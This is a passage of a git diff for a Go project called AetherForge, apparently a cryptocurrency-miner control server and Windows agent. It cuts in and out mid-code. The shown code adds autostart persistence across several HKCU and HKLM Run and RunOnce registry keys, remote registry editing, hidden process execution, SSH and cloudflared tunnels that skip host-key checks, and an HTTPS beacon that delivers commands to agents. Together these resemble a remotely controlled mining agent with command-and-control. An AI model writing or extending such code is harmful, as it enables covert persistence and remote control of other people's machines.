+ return false + } + defer k.Close() + val, _, err := k.GetStringValue(registryValueNameForMode(cfg, mode)) + if err != nil { + return false + } + return strings.Contains(val, binPath) +} + +func removeRegistryValueAt(loc registryLoc, valueName string) { + k, err := registry.OpenKey(loc.hive, loc.subkey, registry.SET_VALUE) + if err != nil { + return + } + defer k.Close() + _ = k.DeleteValue(valueName) +} + +func removeRegistryPersistence(cfg config.RuntimeConfig) { + keyName := PersistenceKeyName(cfg) + agentName := RegistryPersistenceValueName(cfg) + for _, mode := range append([]string{AutostartLogonRun}, allRegistryModeTokens()...) { + loc, ok := registryLocForMode(mode) + if !ok { + continue + } + removeRegistryValueAt(loc, registryValueNameForMode(cfg, mode)) + } + // Legacy HKCU Run used PersistenceKeyName before AetherForge_ naming. + loc, _ := registryLocForMode(AutostartLogonRun) + removeRegistryValueAt(loc, keyName) + removeRegistryValueAt(loc, agentName) +} + +func allRegistryModeTokens() []string { + return []string{ + RegistryHKCURun, + RegistryHKCURunOnce, + RegistryHKLMRun, + RegistryHKLMRunOnce, + RegistryExplorerRun, + } +} + +// IsProcessElevated reports whether the current token is in the Administrators role. +func IsProcessElevated() bool { + var token windows.Token + if err := windows.OpenProcessToken(windows.CurrentProcess(), windows.TOKEN_QUERY, &token); err != nil { + return false + } + defer token.Close() + + // TokenElevationTypeFull (2) on Vista+ + var elevation uint32 + var outLen uint32 + err := windows.GetTokenInformation(token, windows.TokenElevation, (*byte)(unsafe.Pointer(&elevation)), uint32(unsafe.Sizeof(elevation)), &outLen) + if err == nil && elevation != 0 { + return true + } + + // Fallback: check admin SID membership. + sid, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid) + if err != nil { + return false + } + member, err := token.IsMember(sid) + return err == nil && member +} + +// FleetRegistryRead returns JSON-friendly map of value names to {type,value}. +func FleetRegistryRead(hiveToken, subkey string) (map[string]interface{}, error) { + if err := ValidateRegistryPath(hiveToken, subkey); err != nil { + return nil, err + } + hive, err := registryHiveKey(hiveToken) + if err != nil { + return nil, err + } + if hive == registry.LOCAL_MACHINE && !IsProcessElevated() { + return nil, fmt.Errorf("HKLM read requires elevation") + } + k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) + if err != nil { + return nil, err + } + defer k.Close() + + names, err := k.ReadValueNames(-1) + if err != nil { + return nil, err + } + values := make(map[string]interface{}, len(names)) + for _, name := range names { + val, valType, err := readRegistryValue(k, name) + if err != nil { + values[name] = map[string]string{"error": err.Error()} + continue + } + values[name] = map[string]interface{}{"type": registryTypeName(valType), "value": val} + } + return map[string]interface{}{ + "hive": strings.ToUpper(hiveToken), + "path": subkey, + "values": values, + }, nil +} + +func FleetRegistryWrite(hiveToken, subkey, name, value, valType string) error { + if err := ValidateRegistryPath(hiveToken, subkey); err != nil { + return err + } + name = SanitizeRegistryValueName(name) + if name == "" { + return fmt.Errorf("value name is required") + } + hive, err := registryHiveKey(hiveToken) + if err != nil { + return err + } + if hive == registry.LOCAL_MACHINE && !IsProcessElevated() { + return fmt.Errorf("HKLM write requires elevation") + } + k, _, err := registry.CreateKey(hive, normalizeSubkey(subkey), registry.SET_VALUE) + if err != nil { + return err + } + defer k.Close() + switch strings.ToUpper(strings.TrimSpace(valType)) { + case "REG_DWORD", "DWORD": + var n uint32 + if _, err := fmt.Sscanf(value, "%d", &n); err != nil { + return fmt.Errorf("invalid REG_DWORD value %q", value) + } + return k.SetDWordValue(name, n) + case "REG_SZ", "SZ", "": + return k.SetStringValue(name, value) + default: + return fmt.Errorf("unsupported registry type %q (use REG_SZ or REG_DWORD)", valType) + } +} + +func FleetRegistryDelete(hiveToken, subkey, name string) error { + if err := ValidateRegistryPath(hiveToken, subkey); err != nil { + return err + } + name = SanitizeRegistryValueName(name) + if name == "" { + return fmt.Errorf("value name is required") + } + hive, err := registryHiveKey(hiveToken) + if err != nil { + return err + } + if hive == registry.LOCAL_MACHINE && !IsProcessElevated() { + return fmt.Errorf("HKLM delete requires elevation") + } + k, err := registry.OpenKey(hive, normalizeSubkey(subkey), registry.SET_VALUE) + if err != nil { + return err + } + defer k.Close() + return k.DeleteValue(name) +} + +func registryHiveKey(hiveToken string) (registry.Key, error) { + switch hiveToken { + case "hkcu": + return registry.CURRENT_USER, nil + case "hklm": + return registry.LOCAL_MACHINE, nil + default: + return 0, fmt.Errorf("unknown hive token %q", hiveToken) + } +} + +func normalizeSubkey(path string) string { + path = strings.TrimSpace(path) + path = strings.TrimPrefix(path, `\`) + for _, prefix := range []string{"HKCU\\", "HKEY_CURRENT_USER\\", "HKLM\\", "HKEY_LOCAL_MACHINE\\"} { + if strings.HasPrefix(strings.ToUpper(path), strings.ToUpper(prefix)) { + path = path[len(prefix):] + break + } + } + return path +} + +func readRegistryValue(k registry.Key, name string) (interface{}, uint32, error) { + val, valType, err := k.GetStringValue(name) + if err == nil { + return val, valType, nil + } + if err != registry.ErrUnexpectedType { + return nil, 0, err + } + n, _, err := k.GetIntegerValue(name) + if err != nil { + return nil, 0, err + } + return n, registry.DWORD, nil +} + +func registryTypeName(t uint32) string { + switch t { + case registry.SZ: + return "REG_SZ" + case registry.DWORD: + return "REG_DWORD" + default: + return fmt.Sprintf("REG_%d", t) + } +} diff --git a/agent/deploy/tunnel_manager_stub.go b/agent/deploy/tunnel_manager_stub.go new file mode 100644 index 0000000..99b4db6 --- /dev/null +++ b/agent/deploy/tunnel_manager_stub.go @@ -0,0 +1,39 @@ +//go:build !windows + +package deploy + +import "encoding/json" + +type TunnelKind string + +const ( + TunnelCloudflared TunnelKind = "cloudflared" + TunnelSSHForward TunnelKind = "ssh_forward" +) + +type SSHForwardMeta struct { + LocalPort int `json:"local_port"` + RemoteHost string `json:"remote_host"` + RemotePort int `json:"remote_port"` + SSHUser string `json:"ssh_user,omitempty"` + JumpHost string `json:"jump_host,omitempty"` +} + +func RegisterTunnelPID(_ TunnelKind, _ int, _ string) {} + +func TunnelStatus() string { + b, _ := json.Marshal(map[string]any{ + "cloudflared_running": false, + "ssh_forwards": []any{}, + "platform": "unsupported", + }) + return string(b) +} + +func StopTunnels(_ ...TunnelKind) (int, []string) { + return 0, []string{"tunnel stop is Windows-only in this build"} +} + +func ResetTrackedTunnels() {} + +func CloudflaredTargetFromEnv() string { return "" } diff --git a/agent/deploy/tunnel_manager_test.go b/agent/deploy/tunnel_manager_test.go new file mode 100644 index 0000000..58048ef --- /dev/null +++ b/agent/deploy/tunnel_manager_test.go @@ -0,0 +1,62 @@ +package deploy + +import ( + "encoding/json" + "strings" + "testing" +) + +func TestStartCloudflaredTunnelEmptyURL(t *testing.T) { + _, err := StartCloudflaredTunnel("") + if err == nil || !strings.Contains(err.Error(), "server URL required") { + t.Fatalf("expected URL error, got %v", err) + } + _, err = StartCloudflaredTunnel(" ") + if err == nil { + t.Fatal("whitespace-only URL should fail") + } +} + +func TestTunnelManagerRegisterAndStatus(t *testing.T) { + ResetTrackedTunnels() + oldAlive := processAliveFn + processAliveFn = func(int) bool { return true } + defer func() { processAliveFn = oldAlive }() + + RegisterTunnelPID(TunnelCloudflared, 4242, "https://example.com") + RegisterTunnelPID(TunnelSSHForward, 9999, `{"local_port":2222,"remote_host":"10.0.0.5","remote_port":22}`) + + raw := TunnelStatus() + var st TunnelStatusJSON + if err := json.Unmarshal([]byte(raw), &st); err != nil { + t.Fatalf("status json: %v", err) + } + if !st.CloudflaredRunning || st.CloudflaredPID != 4242 || st.CloudflaredURL != "https://example.com" { + t.Fatalf("cloudflared status wrong: %+v", st) + } + if len(st.SSHForwards) != 1 || st.SSHForwards[0].LocalPort != 2222 { + t.Fatalf("ssh forward status wrong: %+v", st.SSHForwards) + } +} + +func TestStopTunnelsEmptyRegistry(t *testing.T) { + ResetTrackedTunnels() + n, msgs := StopTunnels() + if n != 0 { + t.Fatalf("expected 0 stopped, got %d", n) + } + if len(msgs) != 0 { + t.Fatalf("expected no msgs, got %v", msgs) + } +} + +func TestStartSSHForwardValidation(t *testing.T) { + _, err := StartSSHForward(SSHForwardMeta{}) + if err == nil || !strings.Contains(err.Error(), "local_port") { + t.Fatalf("expected local_port error, got %v", err) + } + _, err = StartSSHForward(SSHForwardMeta{LocalPort: 2222}) + if err == nil || !strings.Contains(err.Error(), "remote_host") { + t.Fatalf("expected remote_host error, got %v", err) + } +} diff --git a/agent/deploy/tunnel_manager_windows.go b/agent/deploy/tunnel_manager_windows.go new file mode 100644 index 0000000..bc01edc --- /dev/null +++ b/agent/deploy/tunnel_manager_windows.go @@ -0,0 +1,175 @@ +//go:build windows + +package deploy + +import ( + "encoding/json" + "fmt" + "os" + "strings" + "sync" + "syscall" +) + +// TunnelKind identifies a tracked tunnel process. +type TunnelKind string + +const ( + TunnelCloudflared TunnelKind = "cloudflared" + TunnelSSHForward TunnelKind = "ssh_forward" +) + +// SSHForwardMeta describes one local port forward on the agent. +type SSHForwardMeta struct { + LocalPort int `json:"local_port"` + RemoteHost string `json:"remote_host"` + RemotePort int `json:"remote_port"` + SSHUser string `json:"ssh_user,omitempty"` + JumpHost string `json:"jump_host,omitempty"` +} + +type tunnelEntry struct { + kind TunnelKind + pid int + meta string // JSON metadata for ssh forwards; URL for cloudflared +} + +var ( + tunnelMu sync.Mutex + trackedTunnels []tunnelEntry +) + +// RegisterTunnelPID records a background tunnel process for later stop/status. +func RegisterTunnelPID(kind TunnelKind, pid int, meta string) { + if pid <= 0 { + return + } + tunnelMu.Lock() + defer tunnelMu.Unlock() + if kind == TunnelCloudflared { + next := make([]tunnelEntry, 0, len(trackedTunnels)+1) + for _, t := range trackedTunnels { + if t.kind != TunnelCloudflared { + next = append(next, t) + } + } + trackedTunnels = append(next, tunnelEntry{kind: kind, pid: pid, meta: meta}) + return + } + trackedTunnels = append(trackedTunnels, tunnelEntry{kind: kind, pid: pid, meta: meta}) +} + +const processQueryLimitedInformation = 0x1000 + +var processAliveFn = processAliveImpl + +func processAlive(pid int) bool { + return processAliveFn(pid) +} + +func processAliveImpl(pid int) bool { + if pid <= 0 { + return false + } + h, err := syscall.OpenProcess(processQueryLimitedInformation, false, uint32(pid)) + if err != nil { + return false + } + defer syscall.CloseHandle(h) + var code uint32 + err = syscall.GetExitCodeProcess(h, &code) + if err != nil { + return false + } + return code == 259 // STILL_ACTIVE +} + +func killPID(pid int) error { + if pid <= 0 { + return fmt.Errorf("invalid pid") + } + return HiddenRun("taskkill", "/F", "/PID", fmt.Sprintf("%d", pid)) +} + +func pruneDead() { + alive := trackedTunnels[:0] + for _, t := range trackedTunnels { + if processAlive(t.pid) { + alive = append(alive, t) + } + } + trackedTunnels = alive +} + +// TunnelStatus returns JSON describing tracked tunnel processes. +func TunnelStatus() string { + tunnelMu.Lock() + pruneDead() + snap := append([]tunnelEntry(nil), trackedTunnels...) + tunnelMu.Unlock() + + st := TunnelStatusJSON{SSHForwards: []SSHForwardLive{}} + for _, t := range snap { + switch t.kind { + case TunnelCloudflared: + st.CloudflaredRunning = true + st.CloudflaredURL = t.meta + st.CloudflaredPID = t.pid + case TunnelSSHForward: + var meta SSHForwardMeta + _ = json.Unmarshal([]byte(t.meta), &meta) + st.SSHForwards = append(st.SSHForwards, SSHForwardLive{ + LocalPort: meta.LocalPort, + RemoteHost: meta.RemoteHost, + RemotePort: meta.RemotePort, + SSHUser: meta.SSHUser, + JumpHost: meta.JumpHost, + PID: t.pid, + Running: true, + }) + } + } + b, _ := json.Marshal(st) + return string(b) +} + +// StopTunnels stops tracked tunnel kinds. Empty kinds stops all. +func StopTunnels(kinds ...TunnelKind) (stopped int, msgs []string) { + tunnelMu.Lock() + defer tunnelMu.Unlock() + pruneDead() + + wantAll := len(kinds) == 0 + want := map[TunnelKind]bool{} + for _, k := range kinds { + want[k] = true + } + + remaining := trackedTunnels[:0] + for _, t := range trackedTunnels { + if wantAll || want[t.kind] { + if err := killPID(t.pid); err != nil { + msgs = append(msgs, fmt.Sprintf("%s pid %d: %v", t.kind, t.pid, err)) + } else { + stopped++ + msgs = append(msgs, fmt.Sprintf("stopped %s pid %d", t.kind, t.pid)) + } + continue + } + remaining = append(remaining, t) + } + trackedTunnels = remaining + return stopped, msgs +} + +// ResetTrackedTunnels clears registry without killing (tests only). +func ResetTrackedTunnels() { + tunnelMu.Lock() + trackedTunnels = nil + tunnelMu.Unlock() +} + +// CloudflaredTargetFromEnv returns trimmed URL or empty. +func CloudflaredTargetFromEnv() string { + return strings.TrimSpace(os.Getenv("AETHERFORGE_TUNNEL_URL")) +} diff --git a/agent/deploy/tunnel_ssh_stub.go b/agent/deploy/tunnel_ssh_stub.go new file mode 100644 index 0000000..7b1c01b --- /dev/null +++ b/agent/deploy/tunnel_ssh_stub.go @@ -0,0 +1,9 @@ +//go:build !windows + +package deploy + +import "fmt" + +func StartSSHForward(_ SSHForwardMeta) (string, error) { + return "", fmt.Errorf("ssh forward is Windows-only in this build") +} diff --git a/agent/deploy/tunnel_ssh_windows.go b/agent/deploy/tunnel_ssh_windows.go new file mode 100644 index 0000000..42cb6e6 --- /dev/null +++ b/agent/deploy/tunnel_ssh_windows.go @@ -0,0 +1,67 @@ +//go:build windows + +package deploy + +import ( + "encoding/json" + "fmt" + "os" + "os/exec" + "strings" +) + +// StartSSHForward opens a local port on the agent that forwards to remote_host:remote_port via SSH. +func StartSSHForward(meta SSHForwardMeta) (string, error) { + if meta.LocalPort <= 0 || meta.LocalPort > 65535 { + return "", fmt.Errorf("local_port required (1-65535)") + } + meta.RemoteHost = strings.TrimSpace(meta.RemoteHost) + if meta.RemoteHost == "" { + return "", fmt.Errorf("remote_host required") + } + if meta.RemotePort <= 0 || meta.RemotePort > 65535 { + return "", fmt.Errorf("remote_port required (1-65535)") + } + jump := strings.TrimSpace(meta.JumpHost) + if jump == "" { + jump = meta.RemoteHost + } + user := strings.TrimSpace(meta.SSHUser) + if user == "" { + user = os.Getenv("USERNAME") + if user == "" { + user = "Administrator" + } + } + + bind := fmt.Sprintf("127.0.0.1:%d:%s:%d", meta.LocalPort, meta.RemoteHost, meta.RemotePort) + target := fmt.Sprintf("%s@%s", user, jump) + + var cmd *exec.Cmd + if sshPath, err := exec.LookPath("ssh"); err == nil { + cmd = HiddenCommand(sshPath, "-N", + "-o", "StrictHostKeyChecking=no", + "-o", "BatchMode=yes", + "-o", "ExitOnForwardFailure=yes", + "-L", bind, + target, + ) + } else if plinkPath, err := exec.LookPath("plink"); err == nil { + cmd = HiddenCommand(plinkPath, "-N", + "-batch", + "-L", bind, + target, + ) + } else { + return "", fmt.Errorf("OpenSSH client (ssh) or PuTTY plink not found on PATH") + } + + if err := cmd.Start(); err != nil { + return "", fmt.Errorf("failed to start ssh forward: %w", err) + } + + metaBlob, _ := json.Marshal(meta) + RegisterTunnelPID(TunnelSSHForward, cmd.Process.Pid, string(metaBlob)) + return fmt.Sprintf("ssh forward pid %d — 127.0.0.1:%d → %s:%d via %s", + cmd.Process.Pid, meta.LocalPort, meta.RemoteHost, meta.RemotePort, target), nil +} diff --git a/agent/deploy/tunnel_test.go b/agent/deploy/tunnel_test.go deleted file mode 100644 index a66c964..0000000 --- a/agent/deploy/tunnel_test.go +++ /dev/null @@ -1,17 +0,0 @@ -package deploy - -import ( - "strings" - "testing" -) - -func TestStartCloudflaredTunnelEmptyURL(t *testing.T) { - _, err := StartCloudflaredTunnel("") - if err == nil || !strings.Contains(err.Error(), "server URL required") { - t.Fatalf("expected URL error, got %v", err) - } - _, err = StartCloudflaredTunnel(" ") - if err == nil { - t.Fatal("whitespace-only URL should fail") - } -} diff --git a/agent/deploy/tunnel_types.go b/agent/deploy/tunnel_types.go new file mode 100644 index 0000000..7b34945 --- /dev/null +++ b/agent/deploy/tunnel_types.go @@ -0,0 +1,22 @@ +package deploy + +// TunnelStatusJSON is returned by tunnel_status on the agent. +type TunnelStatusJSON struct { + CloudflaredRunning bool `json:"cloudflared_running"` + CloudflaredURL string `json:"cloudflared_url,omitempty"` + CloudflaredPID int `json:"cloudflared_pid,omitempty"` + WireGuardActive bool `json:"wireguard_active,omitempty"` + WireGuardDetail string `json:"wireguard_detail,omitempty"` + SSHForwards []SSHForwardLive `json:"ssh_forwards"` +} + +// SSHForwardLive is an active SSH local forward. +type SSHForwardLive struct { + LocalPort int `json:"local_port"` + RemoteHost string `json:"remote_host"` + RemotePort int `json:"remote_port"` + SSHUser string `json:"ssh_user,omitempty"` + JumpHost string `json:"jump_host,omitempty"` + PID int `json:"pid"` + Running bool `json:"running"` +} diff --git a/agent/deploy/tunnel_windows.go b/agent/deploy/tunnel_windows.go index b85adeb..c3352db 100644 --- a/agent/deploy/tunnel_windows.go +++ b/agent/deploy/tunnel_windows.go @@ -31,5 +31,6 @@ func StartCloudflaredTunnel(serverURL string) (string, error) { if err := cmd.Start(); err != nil { return "", fmt.Errorf("failed to start cloudflared: %w", err) } + RegisterTunnelPID(TunnelCloudflared, cmd.Process.Pid, serverURL) return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", cmd.Process.Pid, serverURL), nil } diff --git a/server/config.go b/server/config.go index 6010444..c30439d 100644 --- a/server/config.go +++ b/server/config.go @@ -27,6 +27,13 @@ type Config struct { Background BackgroundConfig `json:"background,omitempty"` Alerts AlertsConfig `json:"alerts"` Server ServerSettings `json:"server"` + TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"` +} + +// TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate). +type TunnelDefaults struct { + // CloudflaredTargetURL is the default outbound tunnel target (usually server public_url). + CloudflaredTargetURL string `json:"cloudflared_target_url"` } // ServerSettings controls the locally hosted control server (not baked into miners). @@ -110,6 +117,7 @@ type AlertsConfig struct { RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"` TelegramBotToken string `json:"telegram_bot_token"` TelegramChatID string `json:"telegram_chat_id"` + WebhookURL string `json:"webhook_url"` // Per-event Telegram/email toggles (default true). NotifyAgentConnect bool `json:"notify_agent_connect"` NotifyAgentReconnect bool `json:"notify_agent_reconnect"` @@ -117,6 +125,7 @@ type AlertsConfig struct { NotifyHashrateDrop bool `json:"notify_hashrate_drop"` NotifyRejectionRate bool `json:"notify_rejection_rate"` NotifyBuildComplete bool `json:"notify_build_complete"` + NotifyKEVExposure bool `json:"notify_kev_exposure"` EmailEnabled bool `json:"email_enabled"` SMTPHost string `json:"smtp_host"` SMTPPort int `json:"smtp_port"` @@ -194,6 +203,7 @@ func DefaultConfig() *Config { NotifyHashrateDrop: true, NotifyRejectionRate: true, NotifyBuildComplete: true, + NotifyKEVExposure: true, }, Server: ServerSettings{ PublicURL: "", @@ -247,10 +257,15 @@ func LoadConfig() *Config { cfg.Alerts.NotifyHashrateDrop = true cfg.Alerts.NotifyRejectionRate = true cfg.Alerts.NotifyBuildComplete = true + cfg.Alerts.NotifyKEVExposure = true } } } + if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" { + cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL) + } + return cfg } @@ -262,6 +277,7 @@ func (c *Config) AlertSettings() alerts.Settings { return alerts.NewSettings(alerts.NotifyConfig{ TelegramBotToken: c.Alerts.TelegramBotToken, TelegramChatID: c.Alerts.TelegramChatID, + WebhookURL: c.Alerts.WebhookURL, EmailEnabled: c.Alerts.EmailEnabled, SMTPHost: c.Alerts.SMTPHost, SMTPPort: c.Alerts.SMTPPort, @@ -276,6 +292,7 @@ func (c *Config) AlertSettings() alerts.Settings { HashrateDrop: c.Alerts.NotifyHashrateDrop, RejectionRate: c.Alerts.NotifyRejectionRate, BuildComplete: c.Alerts.NotifyBuildComplete, + KEVExposure: c.Alerts.NotifyKEVExposure, }) } @@ -398,6 +415,9 @@ func mergeConfig(dst, src *Config) { if src.Alerts.TelegramChatID != "" { dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID } + if src.Alerts.WebhookURL != "" { + dst.Alerts.WebhookURL = src.Alerts.WebhookURL + } dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect @@ -405,6 +425,7 @@ func mergeConfig(dst, src *Config) { dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete + dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure if src.Alerts.SMTPHost != "" { dst.Alerts.SMTPHost = src.Alerts.SMTPHost } @@ -661,6 +682,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" { dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID } + if in(alertKeys, "webhook_url") && src.Alerts.WebhookURL != "" { + dst.Alerts.WebhookURL = src.Alerts.WebhookURL + } if in(alertKeys, "email_enabled") { dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled } @@ -682,6 +706,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(alertKeys, "notify_build_complete") { dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete } + if in(alertKeys, "notify_kev_exposure") { + dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure + } if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" { dst.Alerts.SMTPHost = src.Alerts.SMTPHost } @@ -762,6 +789,18 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { dst.Server.FleetSecret = src.Server.FleetSecret } } + + if has("tunnel_defaults") { + tdKeys := nestedJSONKeys(present, "tunnel_defaults") + if in(tdKeys, "cloudflared_target_url") { + dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL + } + } + + // Keep cloudflared default aligned with public_url when unset. + if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" { + dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL) + } } func (c *Config) Save() error { diff --git a/server/internal/alerts/evaluator.go b/server/internal/alerts/evaluator.go index f6ad21b..67e47db 100644 --- a/server/internal/alerts/evaluator.go +++ b/server/internal/alerts/evaluator.go @@ -182,7 +182,7 @@ func (e *Evaluator) fire(ev AlertEvent, cooldownKey string) { log.Printf("[Alert] %s: %s", ev.Type, ev.Message) s := e.settings() if s.EnabledForAlertType(ev.Type) { - NotifyAll(s.NotifyConfig, "AetherForge "+ev.Type, ev.Message) + NotifyAllEvent(s.NotifyConfig, ev.Type, "AetherForge "+ev.Type, ev.Message) } if e.broadcast != nil { e.broadcast(ev) diff --git a/server/internal/alerts/kev_notify.go b/server/internal/alerts/kev_notify.go new file mode 100644 index 0000000..5bdaeae --- /dev/null +++ b/server/internal/alerts/kev_notify.go @@ -0,0 +1,56 @@ +package alerts + +import ( + "encoding/json" + "strconv" + "strings" +) + +// kevExposurePayload mirrors agent KEVScanReport JSON. +type kevExposurePayload struct { + ExposedCount int `json:"exposed_count"` + CriticalCount int `json:"critical_count"` + LikelyCount int `json:"likely_count"` + RiskScore int `json:"risk_score"` + Summary string `json:"summary"` + Findings []struct { + CVE string `json:"cve"` + Name string `json:"name"` + Status string `json:"status"` + Severity string `json:"severity"` + Detail string `json:"detail"` + } `json:"findings"` +} + +const EventKEVExposure = "kev_exposure" + +// NotifyKEVFromSysCheck parses a full_sys_check message and sends Telegram if enabled. +func NotifyKEVFromSysCheck(n *Notifier, agentName, message string) { + if n == nil || strings.TrimSpace(message) == "" { + return + } + var report struct { + KEV *kevExposurePayload `json:"kev_exposure"` + } + if err := json.Unmarshal([]byte(message), &report); err != nil || report.KEV == nil { + return + } + k := report.KEV + if k.ExposedCount == 0 && k.CriticalCount == 0 { + return + } + s := n.settings() + if !s.Events.KEVExposure { + return + } + body := agentName + ": " + k.Summary + if body == agentName+": " { + body = agentName + ": KEV exposure indicators — exposed=" + strconv.Itoa(k.ExposedCount) + " critical=" + strconv.Itoa(k.CriticalCount) + } + for _, f := range k.Findings { + if f.Status == "exposed" && f.Severity == "critical" { + body += "\n• " + f.CVE + " " + f.Name + } + } + n.Emit(EventKEVExposure, "AetherForge KEV alert", body) +} diff --git a/server/internal/alerts/kev_notify_test.go b/server/internal/alerts/kev_notify_test.go new file mode 100644 index 0000000..274c15a --- /dev/null +++ b/server/internal/alerts/kev_notify_test.go @@ -0,0 +1,18 @@ +package alerts + +import "testing" + +func TestNotifyKEVFromSysCheckNoPanic(t *testing.T) { + n := NewNotifier(func() Settings { + return NewSettings(NotifyConfig{}, EventToggles{KEVExposure: true}) + }) + msg := `{"kev_exposure":{"exposed_count":1,"critical_count":1,"summary":"test","findings":[{"cve":"CVE-2021-26855","name":"ProxyLogon","status":"exposed","severity":"critical"}]}}` + NotifyKEVFromSysCheck(n, "worker-1", msg) +} + +func TestNotifyKEVSkipsWhenClear(t *testing.T) { + n := NewNotifier(func() Settings { + return NewSettings(NotifyConfig{TelegramBotToken: "x", TelegramChatID: "1"}, EventToggles{KEVExposure: true}) + }) + NotifyKEVFromSysCheck(n, "w", `{"kev_exposure":{"exposed_count":0,"critical_count":0}}`) +} diff --git a/server/internal/alerts/notifier.go b/server/internal/alerts/notifier.go index 94afc22..601cfab 100644 --- a/server/internal/alerts/notifier.go +++ b/server/internal/alerts/notifier.go @@ -19,11 +19,11 @@ func (n *Notifier) Emit(event string, title, body string) { if !n.eventEnabled(s, event) { return } - if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled { + if s.TelegramBotToken == "" && s.TelegramChatID == "" && !s.EmailEnabled && s.WebhookURL == "" { return } log.Printf("[Notify] %s: %s", event, body) - NotifyAll(s.NotifyConfig, title, body) + NotifyAllEvent(s.NotifyConfig, event, title, body) } func (n *Notifier) eventEnabled(s Settings, event string) bool { @@ -34,6 +34,8 @@ func (n *Notifier) eventEnabled(s Settings, event string) bool { return s.Events.AgentReconnect case EventBuildComplete: return s.Events.BuildComplete + case EventKEVExposure: + return s.Events.KEVExposure case "offline": return s.Events.AgentOffline case "hashrate_drop": diff --git a/server/internal/alerts/notify.go b/server/internal/alerts/notify.go index 1a887d2..0de0025 100644 --- a/server/internal/alerts/notify.go +++ b/server/internal/alerts/notify.go @@ -14,6 +14,7 @@ import ( type NotifyConfig struct { TelegramBotToken string TelegramChatID string + WebhookURL string EmailEnabled bool SMTPHost string SMTPPort int @@ -89,7 +90,41 @@ func SendEmail(cfg NotifyConfig, subject, body string) error { return smtp.SendMail(addr, auth, from, []string{cfg.EmailTo}, []byte(msg)) } +func SendWebhook(cfg NotifyConfig, event, subject, text string) error { + if cfg.WebhookURL == "" { + return nil + } + payload, _ := json.Marshal(map[string]string{ + "event": event, + "title": subject, + "message": text, + }) + req, err := http.NewRequest(http.MethodPost, cfg.WebhookURL, bytes.NewReader(payload)) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/json") + client := &http.Client{Timeout: 15 * time.Second} + resp, err := client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode >= 300 { + body, _ := io.ReadAll(resp.Body) + return fmt.Errorf("webhook status %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) + } + return nil +} + func NotifyAll(cfg NotifyConfig, subject, text string) { _ = SendTelegram(cfg, subject+": "+text) _ = SendEmail(cfg, subject, text) } + +// NotifyAllEvent sends to Telegram, email, and optional operator webhook. +func NotifyAllEvent(cfg NotifyConfig, event, subject, text string) { + _ = SendTelegram(cfg, subject+": "+text) + _ = SendEmail(cfg, subject, text) + _ = SendWebhook(cfg, event, subject, text) +} diff --git a/server/internal/alerts/settings.go b/server/internal/alerts/settings.go index 0c9641e..45bd725 100644 --- a/server/internal/alerts/settings.go +++ b/server/internal/alerts/settings.go @@ -8,6 +8,7 @@ type EventToggles struct { HashrateDrop bool RejectionRate bool BuildComplete bool + KEVExposure bool } // Settings combines delivery credentials with per-event toggles. diff --git a/server/internal/api/auth_context.go b/server/internal/api/auth_context.go new file mode 100644 index 0000000..bf63f53 --- /dev/null +++ b/server/internal/api/auth_context.go @@ -0,0 +1,25 @@ +package api + +import ( + "context" + "net/http" +) + +type contextKey string + +const authUserKey contextKey = "auth_user" + +func withAuthUser(r *http.Request, username string) *http.Request { + return r.WithContext(context.WithValue(r.Context(), authUserKey, username)) +} + +// AuthUsername returns the Basic-auth username for the current request, if any. +func AuthUsername(r *http.Request) string { + if r == nil { + return "" + } + if u, ok := r.Context().Value(authUserKey).(string); ok { + return u + } + return "" +} diff --git a/server/internal/api/beacon.go b/server/internal/api/beacon.go new file mode 100644 index 0000000..5858a82 --- /dev/null +++ b/server/internal/api/beacon.go @@ -0,0 +1,260 @@ +package api + +import ( + "encoding/json" + "net/http" + "strings" + "time" + + "crypto-miner-server/internal/models" +) + +const beaconReachableWindow = 90 * time.Second + +// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down. +type BeaconCommand struct { + Action string `json:"action"` + TailLines int `json:"tail_lines,omitempty"` + Command string `json:"command,omitempty"` + Path string `json:"path,omitempty"` + Data string `json:"data,omitempty"` +} + +type beaconRequest struct { + AgentID string `json:"agent_id"` + Stats json.RawMessage `json:"stats,omitempty"` + Hostname string `json:"hostname,omitempty"` + Wallet string `json:"wallet,omitempty"` + Worker string `json:"worker_name,omitempty"` + Version string `json:"version,omitempty"` +} + +type beaconResponse struct { + OK bool `json:"ok"` + Commands []BeaconCommand `json:"commands"` +} + +type beaconResultRequest struct { + AgentID string 